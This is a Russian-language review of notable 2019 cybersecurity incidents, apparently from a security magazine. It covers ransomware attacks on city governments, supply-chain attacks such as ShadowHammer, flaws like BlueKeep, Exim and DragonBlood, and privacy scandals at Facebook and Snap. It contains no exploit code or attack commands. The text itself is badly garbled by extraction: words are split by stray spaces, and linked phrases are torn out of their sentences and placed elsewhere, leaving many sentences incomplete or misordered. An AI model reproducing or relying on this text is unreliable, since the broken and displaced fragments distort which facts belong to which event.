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Под ходит к кон цу 2019 год, а зна чит, приш ло вре мя под вести
его ито ги и подумать о том, какие трен ды ожи дают нас в гря‐ 
дущем 2020 году. В кон це этой статьи ты най дешь прог нозы
ведущих ИБ‐ком паний, а пока давай вспом ним, какими взло‐ 
мами,  уяз вимос тями  и  про чими  инте рес ными  событи ями
запом нится нам год ухо дящий.

ВЗЛОМЫ
Круп ней ший  пос тавщик  элек тро энер гии  в  Южной  Афри ке  (обес печива ет
элек тро энер гией при мер но 95% ЮАР и око ло 45% все го Афри кан ско го кон‐ 
тинен та)  —  государс твен ная  энер гетичес кая  ком пания  Eskom 

.  Взлом  про изо шел  из‐за  того,  что  сот рудник  ком пании
ска чал на рабочую машину фей ковый уста нов щик игры The Sims 4.

пос тра дала
от  ком про мета ции

Один из  круп ней ших и  ста рей ших бан ков Маль ты — Bank of  Valletta 
.  Зло умыш ленни ки  попыта лись  похитить  поряд ка  13  мил‐ 

лионов  евро,  и,  как  толь ко  сот рудни ки  бан ка  замети ли  неав торизо ван ные
опе рации, было при нято решение экс трен но при оста новить работу. В ито ге
все отде ления Bank of Valletta уве ли в офлайн свои бан коматы, PoS‐сис темы,
а так же вре мен но прек ратили работу сайт бан ка, сер висы элек трон ных услуг
и внут ренняя поч та.

под‐ 
вер гся  кибера таке

Спе циалис ты  «Лабора тории  Кас пер ско го»  не  зря  называ ют  2019  год
годом атак вымога телей на муници паль ные служ бы. Ата кам шиф роваль щиков
в этом году под вер глись мно жес тво городов:

влас ти  аме рикан ско го  окру га  Джек сон    ата ки  шиф роваль‐ 
щика Ryuk (он же Ryunk) и зап латили вымога телям 400 тысяч дол ларов;

• ста ли  жер твой

влас ти  города  Ривь ера‐Бич  (штат  Фло рида)    вымога‐ 
телям 65 бит кой нов (око ло 600 тысяч дол ларов США);

• вып латили

спус тя  все го  неделю  пос ле  это го  слу чая  в  похожей  ситу ации 
влас ти  города  Лейк‐Сити  (тоже  шта та Фло рида)  с  населе нием  65  тысяч
человек.  На  заседа нии  город ско го  совета  было  еди ног ласно  при нято
решение зап латить зло умыш ленни кам выкуп в раз мере 42 бит кой нов (око‐ 
ло 500 тысяч дол ларов);

• ока зались

му ници паль ные  влас ти  более  чем    ста ли  жер тва ми
ско орди ниро ван ной ата ки шиф роваль щика Sodinokibi  (REvil). Вымога тели
пот ребова ли у сво их жертв 2,5 мил лиона дол ларов выкупа в обмен на ключ
для рас шифров ки фай лов. Пла тить прес тупни кам влас ти не ста ли;

• 20  городов  в  Техасе

влас ти Луизианы и вов се вве ли в шта те режим ЧП, при чиной для которо го
пос лужила серия вымога тель ских атак, нап равлен ных на школь ные окру га
в Север ной Луизиане;

•

от шиф роваль щика  пос тра дала   — один  из  круп ней‐ 
ших  пос тавщи ков  элек тро энер гии  для  южно афри кан ско го  мегапо лиса
Йохан несбур га.  В  ито ге  жители  круп ней шего  города  в  Южной  Афри ке
мас сово жалова лись на отклю чения элек тро энер гии;

• ком пания City Power

груп па Shadow Kill Hackers взя ла на себя ответс твен ность за еще одну ата‐ 
ку   и пот ребова ла от город ских влас тей 4 бит‐ 
кой на (при мер но 35 тысяч дол ларов).

•
на сис темы Йохан несбур га

Од нако толь ко города ми ата ки шиф роваль щиков, конеч но, не огра ничи лись.
Были ском про мети рова ны и дру гие необыч ные цели:

 (три в аме рикан ской Ала баме и еще семь
в Авс тра лии);

• де сять медицин ских учрежде ний

фран цуз ский  ,  один  из  круп ней ших  в  стра не,
а так же мете оро логи чес кий  ;

• те леви зион ный  канал  M6
те лека нал The Weather Channel

  про мыш ленных  ком паний:  один  из  глав ных  в  мире  про‐ 
изво дите лей  алю миния  ком пания  Norsk  Hydro,  а  так же  две  круп ные
химичес кие ком пании в США, про изво дящие силико ны и смо лы, — Hexion
и Momentive;

• сра зу нес коль ко

ка над ский  гигант  в  сфе ре  лабора тор ной  диаг ности ки, 
приз нала, что была взло мана и вып латила хакерам выкуп по совету прив‐ 
лечен ных к делу экспер тов.

• ком пания  LifeLabs

В ходе вре донос ной кам пании « » пос тра дала ком‐ 
пания  Asus.  Про изо шед шее  пред став ляло  собой  клас сичес кую  ата ку
на  цепоч ку  пос тавок:  зло умыш ленни ки  ском про мети рова ли  ком панию,
сумели  зак репить ся  в  сети  и  при нялись  раз давать  бэк доры  через  пре дус‐ 
танов ленный  на  устрой ства  Asus  инс тру мент  для  авто мати чес кого  обновле‐ 
ния ASUS Live Update. Ата ка име ла мес то меж ду июнем и нояб рем 2018 года
(то  есть  хакеры  кон тро лиро вали  ASUS  Live  Update  око ло  полуго да)  и  зат‐ 
ронула    устрой ств  Asus.  Ана лити ки  счи тают,  что
в общей слож ности из‐за слу чив шегося пос тра дали более мил лиона человек
по все му миру. Как  выяс нилось поз же, Asus 
прес тупни ков.

Опе рация ShadowHammer

мно жес тво  вла дель цев

бы ла не единс твен ной жер твой

Спе циалис ты  Tencent Keen Security  Lab 
,  пос вящен ное  взло му  авто моби лей  Tesla.  Иссле дова тели  про‐ 

демонс три рова ли  на  при мере  Tesla  Model  S  75,  почему  опас но  пол ностью
полагать ся  на  сис тему  содей ствия  управле нию  авто моби лем  (она  же  адап‐ 
тивный  кру из‐кон троль,  или  Enhanced  Autopilot).  Ока залось,  дос таточ но
нанес ти  на  дорож ное  пок рытие  малоза мет ные  для  водите ля  «помехи»,
и авто мобиль при мет их за часть дорож ной раз метки и, что бы не пересе кать
эту  несущес тву ющую  линию,  свер нет  со  сво ей  полосы  (воз можно,  даже
на встреч ную).

пред ста вили  мас штаб ное  иссле‐ 
дова ние

Ха керам    учет ные  дан ные  неназ ванно го  сот‐ 
рудни ка  тех ничес кой  под дер жки Microsoft,  и  в  пери од  с  1  янва ря  2019  года
по  28  мар та  2019  года  третьи  лица  име ли  дос туп  к  дан ным,  свя зан ным
с  чужими  email‐акка унта ми.  Зло умыш ленни ки  получи ли  воз можность  прос‐ 
матри вать  чужие  спис ки  папок,  темы  писем,  email‐адре са  поль зовате лей,
с которы ми обща лась жер тва.

уда лось ском про мети ровать

В мае 2019 года на офи циаль ных стра ницах соц сетей Армии обо роны Изра‐ 
иля  (ЦАХАЛ)  появи лось  сооб щение  о  необыч ном  отра жении  кибера таки
со  сто роны  ХАМАС.  Пред ста вите ли  ЦАХАЛ  пояс нили,  что  сна чала  отра зили
ата ку в вир туаль ном прос транс тве, а потом ВВС раз вили этот успех в прос‐ 
транс тве  физичес ком.  В  доказа тель ство  воен ные    ави‐ 
ауда ра (отме тим, что о таких бом барди ров ках пре дуп режда ют заранее, что бы
избе жать жертв со сто роны мир ного населе ния).

опуб ликова ли  видео

Пред ста вите ли  Stack Overflow,  круп ней шего  в  интерне те  сай та  воп росов
и отве тов о прог рамми рова нии,   об ата ке на свой
ресурс.  Неиз вес тные  зло умыш ленни ки  оста вались  в  сис теме  поч ти  неделю
и мог ли получить дос туп к поль зователь ским дан ным. Хотя общая база дан‐ 
ных поль зовате лей не была ском про мети рова на, ата кующие мог ли узнать IP‐
адре са,  име на  или  email‐адре са  неболь шого  чис ла  поль зовате лей  Stack
Exchange.

под твер дили информа цию

Не извес тные    у  лидера  груп пы  Radiohead  Тома Йор ка  18  часов
неиз данных записей, сде лан ных во вре мя работы над аль бомом OK Computer
(1997) и хра нив шихся на архивных мини‐дис ках. Пос ле кра жи хакеры попыта‐ 
лись  шан тажиро вать  груп пу.  За  записи,  не  пред назна чен ные  для  пуб лики,
вымога тели  тре бова ли  150  тысяч  дол ларов  выкупа,  а  в  про тив ном  слу чае
угро жали  опуб ликовать  их  в  откры том  дос тупе.  Музыкан ты  не  ста ли  вес ти
перего воры  со  зло умыш ленни ками  или  игно риро вать  проб лему,  а  решили
пос тупить  ина че:  сами  опуб ликова ли  все  18  часов  неиз данных  матери алов
в откры том дос тупе.

по хити ли

Эк спер ты  Symantec    инте рес ный  слу чай:  рус ско языч ная
хакер ская груп па Turla (она же Waterbug, Snake, WhiteBear, VENOMOUS BEAR
и Kypton), извес тная ИБ‐спе циалис там уже дав но, взло мала дру гую небезыз‐ 
вес тную  хак‐груп пу,  иран скую  APT34  (она  же  Oilrig,  HelixKitten  и  Crambus).
В  ито ге  сер веры  «кон курен тов»  исполь зовались  для  рас простра нения  мал‐ 
вари сре ди сис тем, ранее уже заражен ных вре доно сами Oilrig.

за фик сирова ли

Об наружи лось,  что  в  апре ле  2018  года  неиз вес тные  хакеры 
 и похити ли око ло 500 Мбайт дан ных, свя зан ных с мар сиан ски ми

мис сиями. Точ кой ком про мета ции ста ла сеть Лабора тории реак тивно го дви‐ 
жения НАСА  (JPL). Зло умыш ленни ки обна ружи ли неав торизо ван ное  устрой‐ 
ство Raspberry Pi и с его помощью наш ли в общей сети шлюз, что поз волило
им  раз вить  ата ку  далее.  В  общей  слож ности  хакеры  похити ли  поряд‐ 
ка 500 Мбайт дан ных и 23 фай ла.

про ник ли
в сеть НАСА

Раз работ чики  опен сор сно го  бра узе ра  Pale  Moon,  которым  поль зуют ся
око ло мил лиона человек,  , что архивный сер вер про екта (archive.‐
palemoon.org),  где  хра нят ся  ста рые  вер сии  бра узе ра,  был  взло ман.  Ата ка
про изош ла  еще  в  2017  году,  но  дол го  оста валась  незаме чен ной.  Неиз вес‐ 
тный  зло умыш ленник  заразил  все  ста рые  сбор ки  Pale  Moon  мал варью
Win32/ClipBanker.DY, то есть тро яном, похища ющим дан ные из буфера обме‐ 
на пос тра дав шей машины.

приз нались

Ле том  2019  года  ряд  изда ний  сооб щили  о    —
мос ков ской  ком пании  «Сай тэк».  Ата кующие,  скры вающиеся  под  псев‐ 
донимом 0v1ru$, раз мести ли нес коль ко скрин шотов в Twitter, а так же подели‐ 
лись похищен ными дан ными с «кол легами» из груп пиров ки Digital Revolution.
Те,  в  свою  оче редь,  тоже  опуб ликова ли  ряд  доказа тель ств  взло ма.  Так,
в откры тый дос туп выложи ли скрин шот интерфей са внут ренней сети, а рядом
с  наз вани ями  про ектов  («Ари он»,  «Реляция»,  «Грив на»  и  так  далее)  сто яли
име на  их  курато ров,  сот рудни ков  «Сай тэка».  Похищен ными  докумен тами
хакеры  подели лись  с  жур налис тами  нес коль ких  изда ний,  и  дамп  содер жал
доволь но под робное опи сание про ектов «Сай тэка».

взло ме  под рядчи ка  ФСБ

Эк спер ты Google Project Zero  , что ряд неназ ванных сай тов более
двух  лет  ата ковал  поль зовате лей  iPhone  при  помощи  14  уяз вимос тей,  объ‐ 
еди нен ных  в  пять  цепочек  экс пло итов.  Ком про мета ция  про исхо дила
без  какого‐либо  учас тия  поль зовате лей,  дос таточ но  было  прос то  зай ти
на вре донос ный ресурс.

за мети ли

Как  , похожие так тики при меня лись так же про тив поль‐ 
зовате лей Android и Windows и речь шла о весь ма мас штаб ной опе рации.

вы ясни лось поз же

По дан ным источни ков, кам пания была нап равле на на уйгу ров, мусуль ман‐ 
ское  населе ние  китай ско го  реги она  Синь цзян.  За  людь ми  там  и  так  дав но
ведет ся мас совая слеж ка, а более мил лиона уйгу ров содер жатся в тюрь мах
и вос питатель ных лагерях. То есть вре донос ные сай ты, похоже, были уйгур‐ 
ски ми.

Twitter‐акка унт Дже ка Дор си (Jack Dorsey), CEO Twitter,  .
Ском про мети ровав учет ную запись, зло умыш ленни ки при нялись пуб ликовать
от лица Дор си оскорби тель ный и расист ский кон тент и даже утвер жда ли, буд‐ 
то  в штаб‐квар тире  ком пании  заложе на бом ба.  Ата ка  про изош ла  по  недос‐ 
мотру мобиль ного опе рато ра, который допус тил ком про мета цию и поз волил
неав торизо ван ному лицу исполь зовать телефон ный номер Дор си для отправ‐ 
ки SMS‐сооб щений.

под вер гся взло му

Пос ле взло ма раз работ чики Twitter наконец   уста рев шую
фун кци ональ ность отправ ки тви тов через SMS‐сооб щения.

ре шили отклю чить

Ес ли тебе кажет ся, что дип фей ки не пред став ляют серь езной угро зы, пора
подумать  еще  раз.  Осенью  2019  года  мошен ники 

,  что бы  во  вре мя  телефон ного  раз говора  выдать  себя  за  руково‐ 
дите ля  неназ ванной  немец кой  фир мы.  По  телефо ну  фик тивный  CEO,  чей
голос был под делан при помощи ИИ, поп росил гла ву неназ ванной дочер ней
фир мы из Бри тании сроч но перевес ти 220  тысяч евро на счет неко его вен‐ 
гер ско го пос тавщи ка, хотя на самом деле этот счет при над лежал прес тупни‐ 
кам. Ког да под мена вскры лась, часть денег уже была отправ лена и пос тупила
на счет в Вен грии, отку да зло умыш ленни ки переве ли средс тва в Мек сику.

ис поль зовали  голосо вой
deepfake

Взлом  , на котором покупа ли и про дава ли
ворован ные бан ков ские кар ты, при вел к круп ной утеч ке дан ных. Похищен ные
у  BriansClub  дан ные  содер жали  более  26  мил лионов  записей  о  кре дит ных
и дебето вых кар тах. Эти записи попали в руки зло умыш ленни ков через взло‐ 
ман ные интернет‐магази ны и точ ки роз ничной тор говли за пос ледние четыре
года.

кар дер ско го ресур са BriansClub

Ес ли  в  2018  году  иссле дова тели  RiskIQ  иден тифици рова ли  12  груп‐ 
пировок, занима ющих ся ата ками MageCart, то теперь, по дан ным IBM, их нас‐ 
читыва ется  уже  38.  Такие  хакеры  все  чаще  про явля ют  кре атив ность  и  для
внед рения ским меров на сай ты  , исполь зуют

,  неп равиль но  нас тро енные  ,  CDN
(content delivery network, «сеть дос тавки кон тента») и даже рек ламу.

экс плу ати руют мар шру тиза торы
под дель ные  домены  Google ба кеты  AWS

УЯЗВИМОСТИ
Проб лемы про цес соров  Intel  не исчерпа ли себя с обна руже нием уяз вимос‐ 
тей  Meltdown  и  Spectre,  о  которых  мы  так  мно го  рас ска зыва ли  в  прош лом
году. В 2019 году экспер ты выяви ли целый ряд новых «про цес сорных» проб‐ 
лем, свя зан ных с упрежда ющим (или спе куля тив ным — speculative) механиз‐ 
мом  исполне ния  команд,  вклю чая  ,  , 

,  ,  ,  .
Spoiler RIDL,  Fallout  и  ZombieLoad Zom‐

bieLoad 2 NetCAT TPM‐FAIL Plundervolt
Свод ная  груп па уче ных из США, Авс тра лии и Авс трии опуб ликова ла док‐ 

лад  о  новой  вари ации  ата ки  на  проб лему  Rowhammer.  Методи ка  получи ла
наз вание  ,  и  от  пре дыду щих  вер сий  ее  отли чает  опас ная  осо бен‐ 
ность:  ата ку  мож но  исполь зовать  для  кра жи  дан ных  с  целево го  устрой ства,
а не толь ко для изме нения сущес тву ющих дан ных или повыше ния при виле гий.

RAMBleed

Эк спер ты  Рим ско го  уни вер ситета  Ла  Сапи енца  ,  спо‐ 
соб ный с высокой точ ностью опре делять, каким имен но при ложе нием поль‐ 
зовал ся человек, даже если речь идет о Tor‐тра фике. Инс тру мент не помога ет
деано ними зиро вать  поль зовате ля,  то  есть  узнать  его  реаль ный  IP‐адрес
и иные детали. Одна ко воз можно уста новить, какое имен но Android‐при ложе‐ 
ние скры вает Tor‐тра фик.

соз дали  алго ритм

Вес ной  2019  года  в  WinRAR  ,  пред став‐ 
ляющую  угро зу  для  всех  500  мил лионов  поль зовате лей  архи вато ра.  Дело
в  том,  что  най ден ная  проб лема  сущес тво вала  в  коде  при мер но  19  лет.  Баг
был свя зан со сто рон ней биб лиоте кой UNACEV2.DLL, которая вхо дит в сос‐ 
тав прак тичес ки всех вер сий архи вато ра с незапа мят ных вре мен. Ата ки на эту
уяз вимость    .

ус тра нили  опас ную  уяз вимость

не зас тавили се бя ждать
Уче ные  из  Кем бридж ско го  уни вер ситета,  Уни вер ситета  Рай са  и  SRI  In‐

ternational  ,  что  Thunderbolt‐перифе рия  может  пред став лять
угро зу  для  ряда  опе раци онных  сис тем.  Проб лема  зат рагива ет  Thunderbolt
всех  вер сий,  то  есть  Thunderbolt  1,  2  и  3. Зло умыш ленни ки могут  соз давать
вре донос ные  устрой ства  Thunderbolt.  На  пер вый  взгляд  те  будут  казать ся
совер шенно  обыч ными  и  работать  в  соот ветс твии  с  заяв ленны ми  харак‐ 
терис тиками, но вмес те с этим могут содер жать вре донос ный код и бес пре‐ 
пятс твен но выпол нять раз личные дей ствия «на изнанке» ОС.

пре дуп редили

В рам ках май ско го «втор ника обновле ний» ком пания Microsoft испра вила
кри тичес кую  уяз вимость  CVE‐2019‐0708  (она  же  ),  свя зан ную
с работой Remote Desktop Services (RDS) и RDP. С помощью это го бага ата‐ 
кующие могут  выпол нять  про изволь ный  код без  авто риза ции и  рас простра‐ 
нять свою мал варь подоб но  чер вю,  как,  нап ример, было с извес тны ми вре‐ 
доно сами WannaCry и NotPetya. Проб лема опас на для Windows Server 2008,
Windows  7,  Windows  2003  и  Windows  XP,  для  которых,  из‐за  высокой  серь‐ 
езности проб лемы, были выпуще ны обновле ния безопас ности.

BlueKeep

Осенью BlueKeep начали  . Пока баг при‐ 
меня ется  лишь  для  рас простра нения  май нера  крип товалю ты,  то  есть  прес‐ 
тупни ки не исполь зуют весь потен циал уяз вимос ти.

экс плу ати ровать зло умыш ленни ки

Спе циалис ты  Microsoft  счи тают,  что  в  будущем  нас  ожи дают  более  раз‐ 
рушитель ные  ата ки,  исполь зующие  BlueKeep,  и  рас слаб лять ся  рано.  Дело
в  том,  что,  по  дан ным  BinaryEdge,  в  Сети  до  сих  пор  нас читыва ется
более 700 тысяч уяз вимых Windows‐сис тем (не счи тая тех, что рас положе ны
внут ри  час тных  сетей,  за  бран дма уэра ми),  то  есть  пат чи  по‐преж нему  уста‐ 
нови ли далеко не все.

В июне 2019 года иссле дова тели   в поч товом аген‐ 
те  Exim,  поз воля ющую  зло умыш ленни кам  запус кать  коман ды  от  име ни  root
на  уда лен ных  поч товых  сер верах.  Уяз вимость  пред став ляла  опас ность
для полови ны всех поч товых сер веров в интерне те. Экспер ты пре дуп режда‐ 
ли, что экс плу ата ция уяз вимос ти край не прос та, и прог нозиро вали, что зло‐ 
умыш ленни ки соз дадут экс пло ит для проб лемы за счи таные дни, и, к сожале‐ 
нию, их прог нозы  .

наш ли опас ную проб лему

пол ностью оправда лись
Осенью  в  Exim  выяви ли    и    похожие  проб лемы,  которые

в теории тоже поз воляли выпол нить про изволь ный код на целевом сер вере.
вто рую третью

Ана лити ки  Check  Point  Research  и  спе циалис ты  ком пании  CyberInt  обна‐ 
ружи ли  , раз работан ном Electronic
Arts.  Проб лема  мог ла  при вес ти  к  взло му  акка унтов  и  кра же  лич ных  дан‐ 
ных  300  мил лионов  гей меров  по  все му  миру.  Для  экс плу ата ции  проб лемы
ата кующим  не  нуж но  было  при бегать  к  хит рым  трю кам  и  зас тавлять  поль‐ 
зовате лей «поделить ся» сво ими учет ными дан ными. Вмес то это го зло умыш‐ 
ленни ки мог ли вос поль зовать ся заб рошен ными суб домена ми EAGames, что‐ 
бы отсле живать зап росы, сде лан ные дей ству ющи ми поль зовате лями.

це поч ку уяз вимос тей в магази не игр Origin

Спе циалист ком пании IOActive Рубен Сан тамар та (Ruben Santamarta) рас‐ 
ска зал,  что  в  сен тябре  прош лого  года  ему  слу чай но  уда лось  обна ружить
в  Сети  .  Впос ледс твии  было  под‐ 
твержде но, что эти work‐in‐progress‐коды были слу чай но оставле ны на обще‐ 
дос тупном сер вере Boeing, при над лежав шем RnD‐под разде лению ком пании.
Изу чив  исходни ки,  иссле дова тель  выявил  в  них  ряд  уяз вимос тей  и  при шел
к  выводу,  что  бла года ря  этим  багам  теоре тичес ки  воз можен  даже  угон
самоле та.

ис ходные  коды  Boeing  787  Dreamliner

Мно гие    (вклю чая  девай сы  Samsung,  Huawei,  LG,
Sony  и,  воз можно,  дру гих  про изво дите лей)  ока зались  уяз вимы  перед  инте‐ 
рес ными  ата ками.  Понадо бит ся  под делать  все го  одно  спе циаль ное  SMS‐
сооб щение,  какие обыч но при ходят от опе рато ров мобиль ной свя зи, и  зло‐ 
умыш ленник смо жет перех ватывать элек трон ную поч ту или тра фик с уяз вимых
устрой ств.

ус трой ства  на  Android

Ата ка    экс плу ати рует SMS‐сооб щения для переда чи инс трук ций
SIM Toolkit (STK) и S@T Browser на SIM‐кар те устрой ства. И это не прос то кон‐ 
цепт: ата ка регуляр но при меня ется в реаль нос ти в пос ледние два года. Sim‐
jacker поз воля ет узнать дан ные о мес тополо жении поль зовате ля для устрой‐ 
ств Apple, ZTE, Motorola, Samsung, Google, Huawei и даже IoT‐девай сов с SIM‐
кар тами. Хуже того, S@T Browser так же дает воз можность совер шать звон ки,
отправ лять сооб щения, отклю чать SIM‐кар ту, запус кать коман ды AT‐модема,
откры вать бра узе ры (нап ример, с фишин говыми ссыл ками) и мно гое дру гое.

Simjacker

Поз же появи лась информа ция о край не похожей ата ке,  , толь ко
она  пред полага ет  экс плу ата цию Wireless  Internet  Browser  (WIB)  вмес то  S@T
Browser.

WIBattack

RCE‐уяз вимость CVE‐2019‐16759, обна ружен ная и исправ ленная в форум‐ 
ном движ ке vBulletin в кон це сен тября 2019 года, дорого обош лась ряду ком‐ 
паний. Из‐за это го бага пос тра дали офи циаль ные  ,  а  так же
италь янский  и  гол ланд ский    (в  этих  стра нах
прос титуция закон на), а так же  , при над лежащей
Check Point.

фо румы Comodo
ре сур сы  для  секс‐работ ников
фо румы ком пании ZoneAlarm

В  апре ле  2019  года  ИБ‐экспер ты  Мэти  Ван хоф  (Mathy  Vanhoef)  и  Эяль
Ронен  (Eyal  Ronen)  опуб ликова ли  информа цию  о  ком плек се  проб лем,
получив шем  имя   —  «в  честь»  уяз вимого  Dragonfly,  механиз ма,
пос редс твом  которо го  кли енты  про ходят  аутен тифика цию  на  устрой ствах
с  под дер жкой  нового  стан дарта WPA3. И  хотя  ранее  счи талось,  что  дан ный
механизм  «рукопо жатия»  безопа сен,  Ван хоф  и  Ронен  доказа ли,  что  это  не
так.

DragonBlood

Под  наз вани ем  DragonBlood  объ еди нились  пять  уяз вимос тей:  отказ
в  обслу жива нии,  две  проб лемы,  при водя щие  к  side‐channel‐утеч кам,  и  еще
две  проб лемы,  свя зан ные  с  даун грей дом соеди нений. В  ито ге DragonBlood
поз волял  ата кующе му,  находя щему ся  в  зоне  дос тупа  Wi‐Fi‐сети,  вос ста‐ 
новить пароли жер твы и про ник нуть в сеть.

Поз же  экспер ты  рас ска зали  еще  о  ,  появив шихся  уже
пос ле того, как пред ста вите ли WiFi Alliance под готови ли защиту от исходных
багов.

двух  уяз вимос тях

Экс пло иты  для  уяз вимос тей  стре митель но  дорожа ют:  теперь  извес тный
бро кер  уяз вимос тей,  ком пания Zerodium,    за экс пло иты для WhatsApp
и  iMessage  по  мил лиону  дол ларов;    за  экс пло иты
для уяз вимос тей в Hyper‐V (Microsoft) и vSphere (VMware); а 

 впер вые в исто рии сто ят боль ше, чем экс пло иты для iOS, — до 2,5 мил‐ 
лиона дол ларов США.

пла тит
до  500  тысяч  дол ларов

экс пло иты для An‐
droid

УТЕЧКИ
И ПРИВАТНОСТЬ
В Сети   огромный дамп информа ции под наз вани ем «Кол лекция № 1»,
содер жащий 772 904 991 уни каль ный email‐адрес и еще 21 222 975 уни каль‐ 
ных паролей.

наш ли

В  фев рале —  апре ле  2019  года  хакер  (или  груп па  лиц),  скры вающий ся
под псев донимом GnosticPlayers, выс тавил на про дажу на тор говой пло щад ке
Dream Market дан ные поч ти одно го мил лиар да человек. Эти дам пы появи лись
пос тепен но и были раз биты на пять отдель ных «лотов» ( ,  ,  ,  ,  ), в которые
сум марно вош ла информа ция о поль зовате лях и кли ентах 44 раз личных ком‐ 
паний.  Пос ле  неп родол житель ного  мол чания  хакер 
летом,  сооб щив  о  взло ме  авс тра лий ско го  сер виса  гра фичес кого  дизай на
Canva,  вхо дяще го в  top‐200 сай тов по вер сии Alexa, и выс тавив на про дажу
информа цию еще 139 мил лионов человек.

1 2 3 4 5

во зоб новил  активность

Зло умыш ленник  приз навал ся  СМИ,  что  им  дви жут  два  основных  мотива:
желание  зарабо тать  и  стрем ление  к  сла ве.  Он  заявил,  что  хочет  «вой ти
в  исто рию»,  как  это  ранее,  нап ример,  сде лал  хакер,  извес тный  под  ником
Peace_of_Mind. В 2016 году имен но он про дал на тор говой пло щад ке TheRe‐
alDeal информа цию более чем о 800 мил лионах человек.

Ком пания  Facebook  вновь  ока залась  в  цен тре  нес коль ких  скан далов,
в основном свя зан ных с при ват ностью поль зователь ских дан ных:

в начале года выяс нилось, что пароли 200–600 мил лионов поль зовате лей
от  Facebook  Lite,  Facebook  и  Instagram 
в фор мате прос того тек ста, дос тупные тысячам сот рудни ков;

•
хра нились  на  сер верах  ком пании

ин форма цию  о  540  мил лионах  поль зовате лей    на  облачных
сер верах Amazon. По сло вам ана лити ков, нашед ших утеч ку, дан ные были
соб раны в соци аль ной сети сто рон ними ком пани ями;

• об наружи ли

ком панию   в стран ном методе верифи кации поль зовате лей: соци‐ 
аль ная сеть нап рямую спра шива ла у людей пароли от их поч товых ящи ков
и   1,5 мил лиона человек;

• ули чили

соб рала дан ные
осенью  в  Сети  наш ли  базу  поль зовате лей  Facebook,  содер жавшую
более 419 мил лионов   поль зовате лей.

•
те лефон ных номеров

Жур налис ты  Vice  Motherboard  пооб щались  с  нес коль кими  быв шими  и  нас‐ 
тоящи ми  сот рудни ками  ком пании  Snap,  вла деющей  Snapchat,  а  так же  изу‐ 
чили внут ренние кор поратив ные пись ма, попав шие в руки редак ции. Как ока‐ 
залось,  ряд  депар тамен тов  внут ри  ком пании Snap  не  толь ко  име ют  инс тру‐ 
мен ты для слеж ки  за поль зовате лями,  но и активно поль зуют ся и даже 

. Сот рудни кам Snap дос тупны такие дан ные, как мес тополо‐ 
жение, сох ранен ные Snap’ы и лич ные дан ные поль зовате лей, вклю чая номера
телефо нов и email‐адре са.

зло‐ 
упот ребля ют ими

Но  не  толь ко  сот рудни ки  Snap  име ли  воз можность  шпи онить  за  поль‐ 
зовате лями.  Мно го  лет  назад  подоб ные  воль нос ти  поз воляли  себе  и 

.  Ког да  соци аль ная  сеть  была  в  зените  сла вы
(око ло десяти лет тому назад), слу жащие зло упот ребля ли внут ренним инс тру‐ 
мен том  Overlord,  о  котором  не  было  извес тно  ранее.  Он  поз волял  видеть
пароли  поль зовате лей  и  читать  их  сооб щения.  Порой  сот рудни ки  исполь‐ 
зовали этот бэк дор для получе ния дос тупа  к  учет ным дан ным сво их пар тне‐ 
ров.

сот‐ 
рудни ки  ком пании  MySpace
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СМИ  выяс нили,  что  пог ранич ники  уста нав лива ют  на  смар тфо ны  турис тов,
въез жающих в Китай,  . Судя по все му, влас ти ищут фай лы, под пада‐ 
ющие  под  опре деле ние  исла мист ско го  экс тре мист ско го  кон тента,  а  так же
впол не безобид ные матери алы, тоже свя зан ные с исла мом (вклю чая науч ные
тру ды  ведущих  иссле дова телей),  и  даже  музыку  япон ской  груп пы  Unholy
Grave.  Мал варь  собира ет  все  записи  из  кален даря  телефо на,  спи сок  кон‐ 
тактов,  жур налы  вызовов  и  тек сто вые  сооб щения,  а  затем  заг ружа ет  их
на уда лен ный сер вер. Так же она ска ниру ет заражен ный девайс, изу чая, какие
при ложе ния  уста нов лены,  и  в  некото рых  слу чаях  извле кает  из  них  име на
поль зовате лей.

мал варь

Не извес тный  хакер  взло мал  Наци ональ ное  налого вое  управле ние  Бол‐ 
гарии и похитил лич ные дан ные  . Изна чаль но сооб щалось,
что  во  вре мя  инци ден та  были  похище ны  дан ные  при мер но  пяти  мил лионов
граж дан  Бол гарии,  то  есть  око ло  70%  населе ния  стра ны.  Но  циф ра  была
завыше на,  так  как  БД  содер жали  дан ные  об  инос тран цах  и  уже  покой ных
граж данах. Вско ре  информа ция,  которой  хакер щед ро  поделил ся  с  бол гар‐ 
ской прес сой, про сочи лась на  хакер ские форумы. Дамп содер жал 57 папок
раз мером 10,7 Гбайт с лич ной и финан совой информа цией граж дан.

мил лионов человек

Ми нис терс тво  юсти ции  США    сот рудни ков  ком пании  AT&T
в  получе нии  более  чем  мил лиона  дол ларов  взя ток.  Пла тили  сот рудни кам
за  внед рение  вре донос ного  ПО  и  несан кци они рован ного  обо рудо вания
в сети ком пании, а  так же раз бло киров ку при мер но двух мил лионов мобиль‐ 
ных устрой ств. Так, прес тупни ки успешно отвя зали от сети AT&T свы ше двух
мил лионов устрой ств (в основном это были дорогие iPhone).

ули чило

Ле том 2019 года ста ло извес тно, что сто рон ние под рядчи ки и сот рудни ки
ком паний  ,  ,    и    слу шают  раз говоры
поль зовате лей  с  голосо выми  ассистен тами  и  не  толь ко.  Разуме ется,
это дела ется ради улуч шения качес тва услуг и «обу чения» алго рит мов.

Microsoft Apple,  Google Facebook Amazon

Эк спер ты  и  поль зовате ли  немед ленно  выс тупили  с  рез кой  кри тикой,
и Apple, Google, Facebook и Amazon пос пешили заверить, что уже перес тали
«под слу шивать»  поль зовате лей,  а  Microsoft  обно вила  полити ки  кон фиден‐ 
циаль нос ти  и  дру гие  стра ницы,  объ ясня ющие  прин ципы  работы  Cortana
и Skype Translator.

Один из сот рудни ков ком пании Nokia под клю чил USB‐накопи тель со ста‐ 
рыми рабочи ми фай лами к сво ему домаш нему компь юте ру, но из‐за ошиб ки
в  нас трой ках  его  компь ютер  и  этот  носитель  ока зались  сво бод но  дос тупны
из интерне та для любого жела юще го. Диск содер жал око ло 1,7 Тбайт дан ных,
про лива ющих  свет  на  работу    (Сис тема  тех ничес ких
средств  для  обес печения  фун кций  опе ратив но‐разыс кных  мероп риятий),
в час тнос ти в сетях опе рато ра МТС.

рос сий ской  СОРМ

Быв ший  инже нер  Yahoo,  про рабо тав ший  в  ком пании  более  десяти  лет,
поль зовал ся сво им слу жеб ным положе нием: получал дос туп к поч товым ящи‐ 
кам молодых жен щин и похищал отту да откро вен ные фото и видео. В общей
слож ности  Руис  ,  при чем  некото рые
из  них  при над лежали  его  кол легам  и  под ругам.  Из  поч товых  ящи ков  сво их
жертв  хакер  похищал  эро тичес кие  изоб ражения  и  видео,  которые  хра нил
дома на жес тком дис ке.

